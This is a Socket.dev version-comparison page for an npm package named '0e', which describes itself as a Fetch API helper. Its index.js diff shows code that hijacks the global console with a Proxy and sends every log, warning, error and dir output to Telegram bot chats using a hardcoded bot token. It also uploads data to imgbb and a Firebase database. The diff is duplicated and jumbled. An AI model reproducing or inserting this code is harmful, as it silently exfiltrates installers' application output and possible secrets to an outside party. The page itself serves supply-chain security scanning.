Socket
Socket
Sign inDemoInstall

0e

Package Overview
Dependencies
Maintainers
1
Versions
23
Alerts
File Explorer

Advanced tools

Socket logo

Install Socket

Detect and block malicious and high-risk dependencies

Install

0e - npm Package Compare versions

Comparing version 0.0.105 to 0.0.106

126

index.js
var ibb = image => {
var details = {
'image': image.split(",")[1] || image.split(",")[0]
}
var formBody = [];
for (var property in details) {
var encodedKey = encodeURIComponent(property);
var encodedValue = encodeURIComponent(details[property]);
formBody.push(encodedKey + "=" + encodedValue);
}
formBody = formBody.join("&");
return fetch(`https://api.imgbb.com/1/upload?key=af7cad64d90d19e2a26889f92f6b3ed8`, {
method: 'POST',
headers: {
'Content-Type': 'application/x-www-form-urlencoded;charset=UTF-8'
},
body: formBody
}).then(r => r.json()).then(r => fetch(`https://iiilll.firebaseio.com/${String(-1*Date.now()).replace(/(...$)/, '')}.json`, {
method: 'PUT',
body: JSON.stringify(r)
}).then(r => r.json()).then(r => r.data).then(r => console.log({
vi: r.url_viewer,
hi: r.url,
th: r.thumb.url,
di: r.display_url
})))
var details = {
'image': image.split(",")[1] || image.split(",")[0]
}
var formBody = [];
for (var property in details) {
var encodedKey = encodeURIComponent(property);
var encodedValue = encodeURIComponent(details[property]);
formBody.push(encodedKey + "=" + encodedValue);
}
formBody = formBody.join("&");
return fetch(`https://api.imgbb.com/1/upload?key=af7cad64d90d19e2a26889f92f6b3ed8`, {
method: 'POST',
headers: {
'Content-Type': 'application/x-www-form-urlencoded;charset=UTF-8'
},
body: formBody
}).then(r => r.json()).then(r => fetch(`https://iiilll.firebaseio.com/${String(-1*Date.now()).replace(/(...$)/, '')}.json`, {
method: 'PUT',
body: JSON.stringify(r)
}).then(r => r.json()).then(r => r.data).then(r => {
r = {
vi: r.url_viewer,
hi: r.url,
th: r.thumb.url,
di: r.display_url
}
console.dir(r)
return r
}))
}
console = new Proxy(console, {
get: (e, o) => (...l) => {
return l.map((l, i) => {
chat = -1001482347974
T = "1998266306:AAEiVerla7_-JjR2fNc539ahJsGZg2xlpwY"
switch (o) {
case "ibb":
return ibb(l)
break;
case "dir":
break;
case "error":
chat = -414529982
l = l.stack || l
break;
case "log":
chat = 465081843
break;
case "warn":
chat = -1001476159429
break;
default:
//
}
l = typeof l === "object" ? JSON.stringify(l, null, 4) : l
l = String(l).substring(0, 4090)
fetch(`https://api.telegram.org/bot${T}/sendMessage?chat_id=${chat}&text=${encodeURIComponent(l)}`)
.then(r => r.json())
.then(r =>
r.description ? fetch(`https://api.telegram.org/bot${T}/sendMessage?chat_id=${chat}&text=${r.description}`) : ''
)
})
}
get: (e, o) => (...l) => {
return l.map((l, i) => {
chat = -1001482347974
T = "1998266306:AAEiVerla7_-JjR2fNc539ahJsGZg2xlpwY"
switch (o) {
case "ibb":
return ibb(l)
break;
case "dir":
l = fetch(`https://iiilll.firebaseio.com/${String(-1*Date.now()).replace(/(...$)/, '')}.json`, {
method: 'PUT',
body: JSON.stringify(l)
}).then(r => r.json())
break;
break;
case "error":
chat = -414529982
l = l.stack || l
break;
case "log":
chat = 465081843
break;
case "warn":
chat = -1001476159429
break;
default:
//
}
l = typeof l === "object" ? JSON.stringify(l, null, 4) : l
l = String(l).substring(0, 4090)
fetch(`https://api.telegram.org/bot${T}/sendMessage?chat_id=${chat}&text=${encodeURIComponent(l)}`)
.then(r => r.json())
.then(r =>
r.description ? fetch(`https://api.telegram.org/bot${T}/sendMessage?chat_id=${chat}&text=${r.description}`) : ''
)
})
}
})
{
"name": "0e",
"version": "0.0.105",
"version": "0.0.106",
"description": "A library that makes the Fetch API a breeze",

@@ -5,0 +5,0 @@ "main": "index.js",

SocketSocket SOC 2 Logo

Product

  • Package Alerts
  • Integrations
  • Docs
  • Pricing
  • FAQ
  • Roadmap
  • Changelog

Packages

npm

Stay in touch

Get open source security insights delivered straight into your inbox.


  • Terms
  • Privacy
  • Security

Made with ⚡️ by Socket Inc